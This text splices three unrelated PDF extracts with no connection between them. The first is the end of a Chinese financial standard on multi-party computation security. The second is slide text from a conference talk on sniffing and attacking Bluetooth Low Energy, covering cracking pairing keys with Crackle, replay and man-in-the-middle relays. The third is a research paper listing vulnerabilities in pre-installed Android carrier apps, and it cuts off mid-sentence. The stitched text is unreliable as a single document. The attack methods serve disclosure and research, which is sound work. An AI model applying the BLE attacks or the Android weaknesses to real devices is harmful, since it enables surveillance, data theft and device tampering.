1)应覆盖加、乘、比较等常见运算。 2)应支持常见数值计算。 3)应保证运算结果与相同数据明文计算的结果一致。 4)宜支持整数、小数、常见字符、字符串在内的一种或多种基本数据类型。 5)宜支持标量、矢量、矩阵、多维数组在内的一种或多种基本数据单元。 b) MPC计算节点: JR/T 0196—2020 7 1)应确保每个计算节点均处于不同的管理域。 2)应能根据数据提供方提供的输入因子,匹配算法逻辑并执行计算任务。 3)应保证直接在计算因子上完成运算,得到输出因子。 4)应能清除计算过程缓存的计算因子。 5)应能接收调度方的任务调度。 6)应能并发处理不同的计算任务。 7)应能将输出因子发送给结果使用方进行解析。 6.4 结果输出 结果输出的具体要求如下: a) 应能接收计算方输出因子。 b) 应对接收数据进行存证。 c) 应保证输出结果的正确性。 6.5 调度管理 调度管理的具体要求如下: a) 应对 MPC 参与方进行管理。 b) 应能统一管理接入的计算节点以及数据提供方接入的数据源,如新加入、撤销、上下线等。 c) 应支持与用户交互创建任务,生成任务配置信息。 d) 应能将具体任务配置信息分发给数据提供方、计算方、结果使用方。 e) 应对多任务执行进行统一调度,包括任务排队、负载以及优先级调度等。 f) 应能监控、管理任务执行过程。 g) 应保存任务执行结果等。 h) 宜支持基于计算节点动态发现、任务动态分配。 i) 宜支持任务量动态变化。 7 安全要求 7.1 协议安全 7.1.1 基本安全要求 MPC协议基本安全要求如下: a) 应保证除计算结果及其可推导出的信息之外,不泄漏各方隐私数据。 b) 应保证除异常终止外输出计算结果的正确性。 c) 宜保证协议的公平性,仅当诚实的参与方获得计算输出时,不诚实的参与方才能获得计算输出。 d) 宜保证输入数据的独立性,多个数据提供方在构建输入数据时相互独立。 7.1.2 安全模型和安全参数要求 在MPC应用中应根据相应的安全模型选择和管理各参与主体。MPC协议的安全模型和安全参数的具体 要求如下: a) 应保证半诚实模型下 MPC 协议的使用场景中相应参与方均为半诚实。 b) 应保证恶意攻击模型下 MPC 协议的不诚实门限不小于实际应用场景中可能合谋的参与方数量。 c) 统计安全参数(l)应不低于 30。 JR/T 0196—2020 8 d) 计算安全参数(k)应不低于 112。 7.2 隐私数据安全 MPC隐私数据安全的具体要求如下: a) 应保证每个计算节点在整个计算过程中无法获取或推知其他参与方的任何隐私数据,最终输出 结果也不应出现在计算节点内,确保应用过程的隐私性。 b) 应保证计算过程中不出现其他参与方的隐私数据。 c) 应保证数据提供方的隐私数据不被其他参与方获取或推知,结果使用方从结果信息推导出的信 息除外。 d) 应保证计算结果只被结果使用方获取,而不会被其他参与方知晓,保障结果隐私性。 e) 应采取措施加强每个节点的隐私保护能力,不应因单点出现故障而泄露任何一方相关信息。 f) 应能将算法参数、模型参数作为隐私数据来保证算法和模型的安全。 MPC金融应用所涉及的其他数据应符合国家法律法规与行业主管部门有关规定要求。 7.3 认证授权 MPC认证授权的具体要求如下: a) 应对任务计算过程中的关键环节进行身份认证,保证操作行为的合法性和抗抵赖性: 1)各参与方之间通信时应进行身份认证。 2)应具备对接入系统用户的身份鉴别能力。 3)应能对各参与方进行相应的权限设置和控制,避免出现信息泄露或操作风险。 4)宜采用两种或两种以上组合的认证方式实现用户身份认证。 b) 应对数据提供方的数据使用进行严格控制,数据使用方应被授权: 1)调度方应对未被授权的计算请求协调发起数据使用授权申请,申请内容应包含数据使用方 证书、数据使用范围、数据使用期限等。数据提供方同意后应向使用方发送授权,用于后 续计算时的权限认证。 2)调度方应对每个任务请求验证其数据使用授权的合法性,包括授权是否有效、数据使用范 围和使用期限是否合理等。 3)数据提供方应能取消数据使用授权。 7.4 密码安全 采用的密码算法、密钥长度及密钥管理方式等应符合国家密码管理部门与行业主管部门要求。 7.5 通信安全 MPC各参与方在信息传输时应保护传输通道与数据的安全,具体要求如下: a) 各参与方之间进行通信时应建立安全通道,在通信节点建立连接之前应使用符合国家密码标准 的密钥交换技术以产生双方共享的认证密钥,并进行双向身份认证,确保通信节点为信息的真 实授权方。 b) 应使用符合国家密码标准的技术来建立安全通信通道,避免因传输协议受到攻击而出现信息被 窃取或篡改等风险。 c) 应使用符合国家密码标准的数字签名等技术对通信中的数据进行机密性、完整性保护和验证。 d) 当通信数据被篡改后数据接收方应能识别并立即采取异常处理。 e) 各参与方应具备对通信延时、中断等异常情况的处理机制与恢复机制。 f) 各参与方在检测到数据完整性被破坏时,应具有从发送方重新获取信息的能力。 JR/T 0196—2020 9 7.6 存证与日志 MPC金融应用时应进行相应的存证与日志管理,具体要求如下: a) 各参与方应保存用户的操作日志。 b) 各参与方应对计算过程中的相关结果和信息进行存证。 c) 应具备对各参与方的用户操作日志和结果存证的审计能力,对于违背约定的数据提供方、计算 方和结果使用方应能通过存证、审计等方法进行发现、追踪。 d) 应对数据提供方和结果使用方的每次计算任务进行存证和记录,保证信息安全性与结果可追溯 性。 8 性能要求 MPC金融应用的性能要求如下: a) 应保证用户交互时延等通用指标满足具体应用需求。 b) 应声明主要计算任务的计算时延、TPS、计算精度。 c) 对于涉及实数运算的 MPC 金融应用,应保证以下指标满足具体应用需求: ——实数乘法、实数比较的 TPS,即:每秒钟能处理的实数乘法次数、实数比较次数; ——实数乘法、实数比较的计算时延,即:处理单个实数乘法和单个实数比较的处理时延; ——实数输入处理、输出处理时延; ——实数运算精度等。 d) 对于计算时延,还应给出与相同数据明文计算的时延比较结果。 根据MPC所保护的业务数据类型,将MPC应用划分为资金类和非资金类;依据业务时效性要求划分成 实时类和非实时类。各类MPC应用场景的性能量化指标值见表1。 表1 MPC性能量化指标值表 场景 运算 计算时延 a(ms) TPS MPC精度 b 资金 实时 整数万次乘法 ≤100 ≥100 ≥22 整数万次比较 ≤200 ≥10 -- 非实时 浮点数万次乘法 ≤1000 ≥500 ≥32 浮点数万次比较 ≤10000 ≥100 -- 非资金 实时 浮点数万次乘法 ≤200 ≥100 ≥26 浮点数万次比较 ≤300 ≥10 -- 非实时 浮点数万次乘法 ≤1000 ≥500 ≥32 浮点数万次比较 ≤10000 ≥500 -- 注:非实时类应用场景含有大量数据,存在误差累计,精度要求一般高于实时类场景;非实时类应用场景单个任务 的计算量一般比较大,包含很多“万次乘法和比较”运算,所以当TPS以“万次乘法和比较”为单位计算时, 一般比实时类场景要大。 a MPC计算节点间的计算时延,不包括输入和输出时延。 b 该项指标取值代表MPC计算结果与相同明文数据计算结果连续相同的有效位数(以二进制表示)。 JR/T 0196—2020 10 附 录 A (规范性) MPC 典型应用分类 A.1 联合查询 在联合查询应用中,查询方作为任务发起方,可以是结果使用方,同时也是算法提供方和数据提供 方之一(其查询条件包含数据和算法逻辑)。查询方通过调度方查询一个或多个数据提供方的数据库, 得到查询结果。联合查询应用具体要求如下: a) 应用目标: ——查询方得到查询结果,但不暴露其查询输入(例如查询条件、数据样本)和查询结果; ——数据提供方不暴露其数据库存储的明文数据; ——查询结果与在明文数据库上查询的结果一致。 b) 工作时序: ——查询方作为任务发起方通过调度方提交查询计算任务请求; ——查询方作为数据提供方将其查询条件转化为输入因子,其他数据提供方将数据库待查询数 据转化为输入因子,并将输入因子上传至事先约定的计算节点; ——计算方收到调度方分配的查询任务请求,根据获得的输入因子进行计算得到查询结果对应 的输出因子,并把输出因子发送给结果使用方进行数据解析; ——结果使用方通过数据解析获得查询结果的明文。 A.2 联合建模 在联合建模应用中,算法提供方或数据提供方之一作为任务发起方触发计算任务,然后由算法提供 方提供算法逻辑、数据提供方提供数据,基于MPC计算协议在多方数据集上训练机器学习模型(模型参 数)。其中,计算方可以是算法提供方、数据提供方。结果使用方最后得到模型结果的明文。联合建模 应用具体要求如下: a) 应用目标: ——各数据提供方不暴露其数据集的明文; ——能保护模型参数在训练过程中的隐私安全,只有结果使用方才能得到训练后的模型明文; ——训练得到的模型与在明文数据集上训练得到的模型在新数据上具备预测结果的一致性。 b) 工作时序: ——任务发起方向调度方提交模型训练任务; ——算法提供方上传或指定模型训练所使用的算法逻辑,其算法参数或模型参数有保密需求 的,可作为数据提供方之一以计算因子的方式提供; ——计算方收到调度方分配的建模任务请求,从各数据提供方获得数据集的计算因子,并利用 训练算法在数据集上进行模型训练,将得到的输出因子发送至结果使用方进行解析; ——结果使用方通过解析获得训练所得的模型明文。 A.3 联合预测 JR/T 0196—2020 11 在联合预测应用中,任务发起方可以同时是结果使用方。数据提供方提供样本数据集。任务发起方 也可以作为数据提供方之一提供样本集。另一数据提供方提供预测模型(即模型参数)。算法提供方提 供预测算法逻辑。结果使用方获得模型对样本数据集的预测结果。联合预测应用具体要求如下: a) 应用目标: ——数据提供方不暴露其样本数据明文; ——模型提供方(数据提供方之一)不暴露其预测模型的参数; ——只有结果使用方才可以获得预测结果明文; ——预测结果与采用明文预测模型对明文样本数据的预测结果一致。 b) 工作时序: ——任务发起方向调度方提交计算任务,指定联合预测所使用的算法; ——提供样本数据的数据提供方将样本数据转化为输入因子,并提交给指定的计算方; ——提供模型的数据提供方将模型参数转化为输入因子并提交给指定的计算方,当模型参数不 宜对外提供时,该数据提供方应作为计算方,避免提交模型参数; ——计算方接收调度方分配的预测任务请求,根据预测算法对样本数据的输入因子进行计算, 将计算得到的预测结果的输出因子发送给结果使用方进行数据解析; ——结果使用方通过解析输出因子获得预测结果明文。 联合预测通常和联合建模复合应用,此情况下应将复合任务分解为两个 MPC 计算任务,一个任务的 输出可作为另一个任务的输入,不必进行数据(如模型参数)输出后再重新输入的处理。 JR/T 0196—2020 12 附 录 B (资料性) MPC 典型应用场景 B.1 基于 MPC 的生物特征识别 基于MPC技术的生物特征识别,可实现生物特征信息的安全共享,降低因生物特征信息泄露造成的 个人信息和财产信息的风险。以刷脸付应用为例,框架图见图B.1。 图 B.1 MPC 在刷脸付中的应用 金融机构将注册的人脸特征信息通过MPC数据输入处理后形成计算因子,并将计算因子提交给相关 业务处理系统保存为人脸底库。 个人在终端设备支付时,终端设备将目标人脸特征信息也通过MPC数据输入处理后形成计算因子, 并将计算因子上传至计算节点(MPC计算节点分域管理,其中的部分计算节点也可以由银行管辖)。各 计算节点基于计算因子进行目标匹配和识别,最后将人脸识别结果返回并继续后续支付处理环节。 在该应用中,MPC调度方的功能嵌入到业务处理系统中,并最终获得MPC计算节点的人脸识别结果。 算法逻辑即人脸识别算法已经提前预置在计算节点内。 注册环节获得的是以计算因子形式保存的人脸信息,而非原始图像,避免人脸原始图像信息共享。 识别环节自终端传输至人脸识别系统的人脸信息也是以计算因子形式呈现,避免人脸原始图像信息 被获取。 B.2 基于 MPC 的联合风控 基于 MPC 的联合风控是多个金融机构之间通过 MPC 协议来交换风控数据,共同完成风控数据分 析、风控模型训练和风险决策的任务,实现风控模型的精细化和个性化部署,保护风控数据的安全 性,降低因金融机构间安全信息不互通、风控能力参差不齐等造成的欺诈风险。 基于 MPC 的联合风控示意图,见图 B.2。 JR/T 0196—2020 13 图 B.2 MPC 在联合风控中的应用 基于 MPC 的联合风控的流程如下: a) 任务发起方向调度方发起联合风控建模和决策的任务。 b) 调度方对联合风控任务进行触发和协调,并将调度任务发送至不同的金融机构。 c) 金融机构读取本地的风控数据和风控模型,作为 MPC 输入因子。 d) 金融机构的 MPC 计算节点之间,基于 MPC 协议进行多次的随机数或加密参数交换,完成联合风 控的建模和决策。 e) 金融机构各自得到联合风控的决策结果。 JR/T 0196—2020 14 附 录 C (资料性) 通用 MPC 系统参考架构 通用MPC系统参考架构见图C.1。 图 C.1 通用 MPC 系统参考架构 MPC系统为6个参与方角色提供操作接口,其技术组件包括任务调度管理、数据服务、计算引擎 三部分。外围CA系统为各参与方进行注册和颁发证书,见GB/T 27928.1、JR/T 0118的相关要求, MPC系统可使用自建或第三方权威机构提供的CA服务。 任务调度管理组件部署在调度方,为算法方提供算法输入接口,为任务发起方提供任务触发接 口,对计算节点、数据方的数据源进行统一管理,对多任务进行调度。任务调度管理可支持RA功能, 从CA获取证书并分发给其他参与方。 数据输入组件部署在数据方,将数据方原始输入数据转化为输入因子。每个数据方拥有自己独 立的数据输入组件。 数据输出组件部署在结果方,将输出因子转化为最终计算结果。每个结果方拥有自己独立的数 据输出组件。当一个实体同时承担结果方与数据方时,可同时具有输入组件和数据输出组件。 计算引擎由多个计算节点组成,每个计算节点分别部署在不同的计算方上,协同完成MPC计算 协议。 当一个实体同时承担多个参与方角色时,相应的技术组件可进行合并。 JR/T 0196—2020 15 参 考 文 献 [1] GB/T 27928.1 金融业务 证书管理 第1部分:公钥证书 [2] JR/T 0118 金融电子认证规范 [3] JR/T 0171—2020 个人金融信息保护技术规范 _________________________________
pdf
KCon KCon 重现速8僵尸车队 蓝牙4.0 BLE协议的进攻 杨 晋 ThreatBook 曾仸职于 Microsoft,COMODO,Qihoo360 邮箱:[email protected] Linkedin:Jin Yang PART 01 BLE是什么? PART 02 协议技术特点 PART 03 寻找身边的设备 PART 04 如何嗅探BLE协议数据 PART 05 协议分析与攻击方式 目录 CONTENTS 01 BLE是什么? BLE是什么? - Bluetooth 4.0 协议家族 (2012) - 经典蓝牙 (Classic Bluetooth) - 高速蓝牙 - 低功耗蓝牙 (Bluetooth Low Energy) BLE是什么? - BLE VS 经典蓝牙 技术规范 BLE 经典蓝牙 频率 2.4GHz 2.4GHz 作用距离 100m 10m 响应延时 1-3ms 100ms 安全性 128-bit AES 64/128-bit 能耗 1-50% 100% 传输数据速率 1Mb/s 1-3Mb/s BLE是什么? - 哪些设备在使用BLE协议? - 可穿戴设备:智能手表、手环、无线耳机、鼠标/键盘 - 家庭用智能设备:门锁、智能玩具、音箱 - 特种行业内设备:医疗器械、汽车、自动化 02 协议技术特点 协议技术特点 BLE协议栈 APP HOST CONTROLLER 协议技术特点 控制器部分 (Controller) 物理层 (Physical Layer) 链路层 (Link Layer) 主机控制接口层 (Host Controller Interface) 主机 (Host) GATT 通用属性配置文件层 (Generic Attribute Profile) GAP 通用访问配置文件层 (Generic Access Profile) L2CAP 逻辑链路控制及自适应协议层 (Logical Link Control and Adaptation Protocol) 安全管理层(Security Manager) ATT 属性协议层(Attribute Protocol) 协议技术特点 - 物理层特性: - 免费的ISM频段:2.400 - 2.4835 GHz - 分为40个频段:0 – 39 (每仹的带宽为2MHz) - 跳频通信 (Hopping) 协议技术特点 - 广播频段与数据频段 - 3 channels:37 38 39 - 37 channels:0 – 36 - 广播频段跳频与数据频段跳频 协议技术特点 频率 频段类型 数据频道编号 广播频道编号 2402MHz 广播 37 2404MHz 数据 0 … 数据 … 2424MHz 数据 10 2426MHz 广播 38 2428MHz 数据 11 … 数据 … 2478MHz 数据 36 2480MHz 广播 39 协议技术特点 当发生ADV_CONNECT_REQ后,确定了 Hop Increment = 0x0C Data Channel 12 Data Channel 24 Data Channel 36 Data Channel 11 Data Channel 23 Data Channel 35 Data Channel 10 03 寻找身边的设备 寻找身边的设备 - 最简单的方法 iPhone (LightBlue、BLE Finder …) 寻找身边的设备 - 利用 nRF51822 芯片来寻找 寻找身边的设备 - 大概判断一个设备的距离 04 如何嗅探BLE协议数据 如何嗅探BLE协议数据 - 嗅探 广播频道数据 - 嗅探 数据频道数据 - 处理跳频 - 4种嗅探BLE协议数据的设备 如何嗅探BLE协议数据 - Ubertooth One (2011) - Ubertooth 是著名无线硬件黑客 Michael Ossmann 研发 的一个基于2.4GHz的开源无线蓝牙开发平台,共有两个版本 分别是 Ubrtooth-One 和 Ubertooth-Zero ,而 Zero 版本 已经停止开发,很多的最新功能以及平台已经无法支持 Zero - Ubertooth + Wireshark + Kismet + Crackle 如何嗅探BLE协议数据 - Ubertooth 负责嗅探BLE协议数据并存储 - Wireshark + Kismet 分析BLE报文 - Crackle 在获取到一定数量的BLE报文之后,就可以用 它来破解出 STK/LTK https://github.com/mikeryan/crackle 如何嗅探BLE协议数据 Ubertooth One 如何嗅探BLE协议数据 - HackRF SDR,8 bit - Michael Ossmann 和 Jared Boone 一起研发的一款廉价且功能 丰富的SDR硬件 - 支持GNURadio的全开源SDR,工作频率 10MHz - 6GHz - USB 2.0 - btle_rx btle_tx (https://github.com/JiaoXianjun/BTLE) 如何嗅探BLE协议数据 如何嗅探BLE协议数据 - BladeRF SDR,12 bit - 工作频率:300 MHz – 3.8 GHz - 全双工的一款神器 - USB 3.0 - btle_rx btle_tx (https://github.com/JiaoXianjun/BTLE) 如何嗅探BLE协议数据 如何嗅探BLE协议数据 - nRF51822芯片 CC2540芯片 - 这些产品实际上是智能设备使用的芯片,但是也可以做 BLE Sniffer来使用 - 功能单一只支持蓝牙BLE协议 - 价格便宜 如何嗅探BLE协议数据 如何嗅探BLE协议数据 Ubertooth HackRF BladeRF nRF51822 工作频率 2.4G 10 MHz - 6GHz 300 MHz - 3.8GHz BLE 2.4G 工作方式 半双工 半双工 全双工 半双工 接口 USB 2.0 USB 2.0 USB 3.0 USB 2.0 应用范围 蓝牙 SDR SDR 蓝牙BLE 开源资源 全开源 全开源 部分 部分 价格 1000 2000 2800 100 05 协议分析与攻击方式 BLE协议分析 - BLE报文结构 - 字节序:大多数多字节域是从低字节开始传输的 - 比特序:各个字节传输时,每个字节都是从低位开始 BLE协议分析 - 报头包含4bit广播报文类型、2bit保留位、1bit发送地 址类型和1bit接收地址类型 BLE协议分析 - BLE广播报文7种类型 - ADV_IND - SCAN_REQ - SCAN_RSP - CONNECT_REQ BLE协议分析 - BLE数据包的CRC验证公式 - 广播包最关键的:Access Address 0x8E89BED6 BLE协议连接/通信流程 - Slave 37>38>39> ADV_IND - Master > SCAN_REQ - Slave > SCAN_RSP - Master > CONNECT_REQ - Master >data> Slave (Hopping 0-36) - Slave >data> Master (Hopping 0-36) - Master >LL_Terminate_Ind or 异常断开 广播包 ADV_IND 38 内容 XXXXXXXXXXXXX XXXXXXXXXXXXX XXXXXXXX 内容 XXXXXXXXXXXXX XXXXXXXXXXXXX XXXXXXXX 内容 XXXXXXXXXXXXX XXXXXXXXXXXXX XXXXXXXX 广播包固定的 Access Address 0x8e89bed6 广播设备地址 71:1a:32:a3:90:90 广播包含扫描请求 SCAN_REQ 内容 XXXXXXXXXXXXX XXXXXXXXXXXXX XXXXXXXX 内容 XXXXXXXXXXXXX XXXXXXXXXXXXX XXXXXXXX 内容 XXXXXXXXXXXXX XXXXXXXXXXXXX XXXXXXXX 扫描设备地址 71:1a:32:a3:90:90 广播设备地址 d0:5f:45:68:ef:bd 包长度 12 扫描响应 SCAN_RSP 随机地址 71:1a:32:a3:90:90 内容 XXXXXXXXXXXXX XXXXXXXXXXXXX XXXXXXXX 内容 XXXXXXXXXXXXX XXXXXXXXXXXXX XXXXXXXX 内容 XXXXXXXXXXXXX XXXXXXXXXXXXX XXXXXXXX CONNECT_REQ 内容 XXXXXXXXXXXXX XXXXXXXXXXXXX XXXXXXXX 内容 XXXXXXXXXXXXX XXXXXXXXXXXXX XXXXXXXX 内容 XXXXXXXXXXXXX XXXXXXXXXXXXX XXXXXXXX Hopping Interval InitAddress AdvAddress BLE协议分析 - 数据报文分析 Data Type: Empty PDU 报文序号,长度,数据内容,CRC,信号增益 BLE协议分析 - 数据报文分析 Data Type: L2CAP Logical Link Control and Adaptation Protocol 逻辑链路控制及自适应协议层协议 攻击方式 - 被动嗅探,窃取BLE协议内的数据 - 重放攻击,冒名顶替,未授权的访问 - 中间人攻击,跨越BLE的通信距离,篡改数据 中间人攻击 正常方式连接:Phone M<----->S BleCar 中间人攻击:Phone M<--->S1 代理 M1<--->S BleCar 代理端在中转数据的时候,可以修改其中的数据内容 演示 - 速度与激情8的僵尸车队 Thank you! Thank you!
pdf
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] Vulnerable Out of the Box: An Evaluation of Android Carrier Devices Abstract Pre-installed apps and firmware pose a risk due to vulnerabilities that can be pre-positioned on a device, rendering the device vulnerable on purchase. To quantify the exposure of the Android end-users to vulnerabilities residing within pre-installed apps and firmware, we analyzed a wide range of Android vendors and carriers using devices spanning from low-end to flagship. Our primary focus was exposing pre-positioned threats on Android devices sold by United States (US) carriers, although our results affect devices worldwide. We will provide details of vulnerabilities in devices from all four major US carriers, as well two smaller US carriers, among others. The vulnerabilities we discovered on devices offered by the major US carriers are the following: arbitrary command execution as the system user, obtaining the modem logs and logcat logs, wiping all user data from a device (i.e., factory reset), reading and modifying a user’s text messages, sending arbitrary text messages, getting the phone numbers of the user’s contacts, and more. All of the aforementioned capabilities are obtained outside of the normal Android permission model. Including both locked and unlocked devices, we provide details for 38 unique vulnerabilities affecting 25 Android devices with 11 of them being sold by US carriers. 1. Introduction Android devices contain pre-installed apps ranging from a vendor’s custom Settings app to “bloatware.” Bloatware can frustrate users due to the difficulty in removing or disabling these potentially unwanted apps. In some cases, a user needs to “root” their device to remove the offending software (assuming there is a viable root strategy available), potentially voiding their warranty. Pre-installed apps may contain vulnerabilities, exposing the end-user to risks that they cannot easily remove. Furthermore, pre-installed apps can obtain permissions and capabilities that are unavailable to third-party apps (i.e., those the user downloads or sideloads). Apps that signed with the platform key (i.e., platform apps) can execute as the same user (i.e., system) as the Android Operating System (OS) framework. A vulnerability within a pre- installed platform app user can be used to obtain Personally Identifiable Information (PII) and engage in aggressive surveillance of the user. We discovered numerous vulnerabilities that allow any app co-located on the device to obtain intimate details about the user and their actions on the device. Pre-installed apps and firmware provide a baseline for vulnerabilities present on a device even before the user enables wireless communications and starts installing third-party apps. To gauge the exposure of Android end-users to vulnerabilities residing within pre-installed apps, we examined a range of Android devices spanning from low-end devices to flagship devices. Our primary focus was examining Android devices sold by United States (US) carriers. We found vulnerabilities in devices from all four major US carriers, as well as two smaller US carriers. A complete listing of all the vulnerabilities we found is provided in Section 3. The vulnerabilities we found on devices sold by major US carriers are the following: arbitrary command execution as the system user, obtaining the modem logs and logcat logs, wiping all user data from a device (i.e., factory reset), reading and modifying a user’s text messages, sending arbitrary text messages, and getting the phone numbers of the user’s contacts. All of the aforementioned capabilities are obtained outside of the normal Android permission model. The vulnerabilities found in pre-installed apps 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] can be leveraged by a third-party app to have the vulnerable app perform some behavior on its behalf due to insecure access control mechanisms. In addition to US carrier devices, we also examined unlocked Android smartphones. We purchased three Android devices while on a recent trip to Southeast Asia. Specifically, we examined the Oppo F5, Vivo V7, and the Leagoo P1 devices. According to IDC, Oppo and Vivo respectively had 7.4% and 5.2% global market share for smartphones shipped in the first quarter of 20171. These devices contained significant vulnerabilities that can be used to perform surveillance of the user. Oppo’s F5 flagship device contains a vulnerability that allows any app on co-located on the device to execute arbitrary commands as the system user. The capabilities available to apps that can execute commands as the system user is provided in Section 4. The device also has an open interface that allows the recording of audio, although the command execution as system user vulnerability is needed to copy the recorded audio file. The Vivo V7 device contains vulnerabilities that allow any third-party app on the device to record the screen, obtain the logcat and kernel logs, and change system properties. For example, changing the persist.sys.input.log property to a value of yes makes the coordinates of the user’s screen touches and gestures get written to the logcat log. The Leagoo P1 device allows any app on the device to programmatically perform a factory reset and to take a screenshot that gets written to external storage (i.e., SD card). Furthermore, the Leagoo P1 device has a local root privilege escalation via Android Debug Bridge2 (ADB). When vendors leave in development and debugging functionality, this can result in a vulnerability that can be leveraged by an attacker. These apps should be removed prior to launching a production build available to the end user. If these apps are unable to be removed, then these functionalities should not be available to the all apps co-located on the device. Ideally, they should be restricted to requiring some sort of human involvement prior to obtaining or logging PII. A concerted effort is placed on searching for vulnerabilities and threats arising from apps that the downloads from app distribution channels. In addition to looking at external apps, an effort should be undertaken to examine the apps already present on the device. 2. Background This section provides additional context for understanding Android concepts relevant to the vulnerabilities presented in later sections. 2.1 Threat Model We assume that the user has a generally unprivileged third-party app installed on the target device so that it can interact with pre-installed apps on the device through open interfaces. This can be accomplished via repackaging apps and listing them on third-party app marketplaces, trojanized app, phishing, social engineering, or remote exploit. An interesting attack vector recently employed is that attackers were posing as beautiful women, befriending targets, and enticing them to install trojanized apps 3. Most of the vulnerabilities we discovered require a local app be installed on the device to exploit the vulnerabilities resident in pre-installed apps with the exception being two root privilege escalation vulnerabilities that 1 https://www.idc.com/getdoc.jsp?containerId=prUS42507917 2 https://developer.android.com/studio/command-line/adb 3 https://arstechnica.com/information-technology/2018/04/malicious-apps-in-google-play-gave-attackers-considerable-control- of-phones/ 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] require the use of ADB. A majority of the vulnerabilities were exploitable due to improper access control where an app exposes an interface to all other apps co-located on the device. This open interface can potentially be abused wherein a lesser-privileged app uses the capabilities of the vulnerable app as shown in Figure 1. All of the vulnerabilities we found do not require any user intervention except the two root privilege escalation vulnerabilities. Many of the vulnerabilities do not require any access permissions to exploit (e.g., performing a factory reset, sending a text message, command execution as the system user, etc.). Other vulnerabilities require the READ_EXTERNAL_STORAGE since external storage is a common location for pre-installed apps to dump data. If any app was truly be malicious, the INTERNET permission would be needed to exfiltrate the obtained data to a remote location. Figure 1. Indirect Access to Protected Resources. 2.2 Pre-Installed Apps We consider a pre-installed app to be an app that is present on the device the first time the user removes the phone from the box and boots the phone. Specifically, any app that is installed on the system partition is a pre-installed app. These apps were chosen to be on the device by the vendor, carrier, hardware manufacturer, etc. The most privileged pre-installed apps are those executing as the system user (i.e., platform apps). For an app to execute as the system user, it needs to have the android:sharedUserId attribute set to a value of android.uid.system in its AndroidManifest.xml file and be signed with the device platform key. Each Android app must contain a valid AndroidManifest.xml file serving as a specification for the app. In terms of the core AndroidManifest.xml file that declares the platform’s permissions4, apps executing as the system user can obtain permissions with an android:protectionLevel of signature and all pre- installed apps can obtain permissions with an android:protectionLevel of signatureOrSystem. Neither signature nor signatureOrSystem permissions can be obtained by third-party apps, which are limited to requesting permissions with an android:protectionLevel of normal and dangerous5. 2.3 Intents An Intent6 is like a message that can contain embedded data that is sent within/between apps. Intents are a fundamental communication mechanism in Android. In this paper, most of the vulnerabilities are exploited by sending an Intent message from the attacking app to a vulnerable app that has an open 4 https://android.googlesource.com/platform/frameworks/base/+/master/core/res/AndroidManifest.xml 5 Some permissions have an android:protectionLevel of development that allows a user to grant them to an app via ADB. 6 https://developer.android.com/guide/components/intents-filters 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] interface where the Intent will be delivered. Some Intents need to be crafted to exactly what the receiving app is expecting with regards to an action string or specific key-value pairs to perform certain behavior. 2.4 External Storage Some of the vulnerabilities in pre-installed apps will dump PII to external storage (i.e., emulated SD card). External storage can be accessed by any app that has been granted the READ_EXTERNAL_STORAGE permission. Due to it being a shared resource, it is not recommended to write sensitive data to the SD card7. Nonetheless, the SD card appears to be a common location where pre-installed apps write sensitive data. Pre-installed debugging and development apps may write data to the SD card since it is accessible to the ADB user (i.e., shell). In this paper, the terms external storage and SD card will be used synonymously. 2.5 Bound Services Services are one of the four Android application component types from which a user can create an Android app. A bound service8 allows a client app to interact with a service using a pre-defined interface. The interface between the client and service is generally defined in an Android Interface Definition Language (AIDL) file. If the client app contains the corresponding AIDL file from the service at compile time, then the communication with the service is straightforward and Remote Procedure Calls (RPCs) can occur normally. If the client app lacks the corresponding AIDL file, then this communication is still possible, but it is more involved process to explicitly interact with the service. Some vendors may be unaware that successful communication between a bound service and client app that lacks the corresponding AIDL file is still possible. 3. Vulnerabilities Discovered Table 1 provides a comprehensive list of the vulnerabilities we discovered in pre-installed apps or the Android framework in a range of carrier and unlocked Android devices. Table 1. Complete Listing of Vulnerabilities. Device Vulnerability Asus ZenFone V Live / Asus ZenFone Max 3 Arbitrary command execution as system user Asus ZenFone V Live / Asus ZenFone Max 3 Take screenshot Asus ZenFone 3 Max Dump bugreport and Wi-Fi passwords to external storage Asus ZenFone 3 Max Arbitrary app installation over the internet Essential Phone Programmatic factory reset ZTE Blade Spark / ZTE Blade Vantage / ZTE Zmax Champ / ZTE Zmax Pro Write modem and logcat logs to external storage 7 https://developer.android.com/training/articles/security-tips#ExternalStorage 8 https://developer.android.com/guide/components/bound-services 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] LG G6 / LG Q6 / LG X Power / LG Phoenix 2 Write logcat log to attacking app’s private directory LG G6 / LG Q6 / LG X Power / LG Phoenix 2 Lock the user out of their device (requiring a factory reset to recover in the most cases) LG G6 / LG Q6 Dump logcat log and kernel log to external storage Coolpad Defiant / Tmobile Revvl Plus / ZTE Zmax Pro Obtain and modify user’s text messages Send arbitrary text messages Obtain phone numbers of user’s contacts Coolpad Defiant / Tmobile Revvl Plus Programmatic factory reset Coolpad Canvas Change system properties as the com.android.phone user Coolpad Canvas Write logcat log, kernel log, and tcpdump capture to external storage ZTE Zmax Champ Programmatic factory reset ZTE Zmax Champ Brick device with a recovery with consistent crashing in recovery mode Orbic Wonder Programmatic factory reset Orbic Wonder Write logcat log to external storage Orbic Wonder Writes content of text messages and phone numbers for placed/received calls Alcatel A30 Take screenshot Alcatel A30 Local root privilege escalation via ADB Doogee X5 Video record the screen and write to external storage Nokia 6 TA-1025 Take screenshot Sony Xperia L1 Take screenshot Leagoo Z5C Send arbitrary text message Leagoo Z5C Programmatic factory reset Leagoo Z5C Obtain the most recent text message from each conversation MXQ 4.4.2 TV Box Programmatic factory reset MXQ 4.4.2 TV Box Make device inoperable Plum Compass Programmatic factory reset SKY Elite 6.0L+ Arbitrary command execution as system user Oppo F5 Arbitrary command execution as system user Oppo F5 Record audio (requires vulnerability above to transfer file to attacking app’s private directory) Leagoo P1 Take screenshot Leagoo P1 Local root privilege escalation via ADB Leagoo P1 Programmatic factory reset Vivo V7 Video record the screen and write it to the attacking app’s private directory Vivo V7 Write the logcat and kernel logs to SD card 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] Vivo V7 Change system properties as the com.android.phone user allowing the coordinates of touch and 